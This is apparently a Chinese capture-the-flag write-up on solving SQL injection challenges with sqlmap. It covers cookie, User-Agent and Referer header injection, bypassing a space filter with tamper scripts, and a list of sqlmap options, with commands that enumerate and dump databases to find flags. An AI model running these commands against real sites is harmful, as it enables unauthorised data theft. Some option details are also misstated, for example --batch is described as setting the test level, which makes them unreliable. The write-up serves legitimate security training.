注:level参数
使用--batch参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用--level来提高测试等级。
--level
参数决定了 sqlmap 在检测 SQL 注入时的 "努力程度"。
- level 1 :默认的 level 等级,会测试 GET 和 POST 请求中的参数。
- level 2:除了前面提到的,还会检查 cookie 里的数据。
- level 3:user-agent 和 referer 头部也纳入检测范围。
- level 4~5:会尝试各种 payloads 和边界条件,确保不放过任何潜在的注入点。
1.cookie注入
1)进入题目环境,然后页面显示是cookie注入,那应该跟cookie头有关了
2)用BP抓包,
3)然后把抓到的信息存成txt文件
4)然后用sqlmap查看是否有sql注入
sqlmap -r "文件地址"
5)从扫描结果可以看出这里它是使用了cookie注入
然后我们查看一下它的数据库
sqlmap -r '文件地址' --dbs
6)查到它有四个库,一次查看后有用数据在sqli里
查看它里面表的数据,sqlmap -r '文件地址' -D sqli --tables --batch
7)然后再查看表里的字段信息
sqlmap -r '文件地址' -D sqli -T ydinnlywvm --dump --batch
然后便能找到flag
2.UA注入
1)进入题目环境,页面显示注入类型为UA注入
2)跟跟上面的cookie注入类似,先用BP抓包,然后将它保存
3)接着用sqlmap测试注入类型及注入点
sqlmap -u "网址" -level 3 --dbs
4)扫出它的数据库,然后依次查看里面的内容,依然是在sqli表里
查看里面的数据
sqlmap -u "网址" level 3 -D sqli --tables --dbs
5)找到表里有两个字段,查看第一个
sqlmap -u "网址" -level 3 -D sqli -T irdofixdml --dump --batch
然后找到flag
3.Refer注入
1)进入题目环境
2)说是refer注入,那肯定跟refer头有关了,sqlmap扫描应该是要用到level 3 将refer头纳入检测范围了
sqlmap -u "网址" -level 3 --dbs
3)扫出数据库,然后查表,查到在sqli里面
sqlmap -u "网址" -D sqli --tables --batch
4)然后扫描字段数据
sqlmap -u "网址" -D sqli -T uggursvczx --dump --batch
4.过滤空格
1)进入环境,说是空格被过滤
2)用sqlmap扫描时需要用到sqlmap的脚本
space2comment.py 用"/**/"替换空格符
注入命令
sqlmap -u '网址'--current-db --tamper=space2comment.py
3)扫出sqli,然后看表里内容,得到flag
sqlmap -u "网址" -D sqli --dump --tamper=space2comment.py --batch --tamper=space2plus.py
5.小结
SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:
脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。
常见需要注意的一些命令
--batch (默认确认)不再询问是否确认。
--method=GET 指定请求方式(GET/POST)
--random-agent 随机切换UA(User-Agent)
--user-agent ' ' 使用自定义的UA(User-Agent)
--referer ' ' 使用自定义的 referer
--proxy="127.0.0.1:8080" 指定代理
--threads 10 设置线程数,最高10
--level=1 执行测试的等级(1-5,默认为1,常用3)
--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。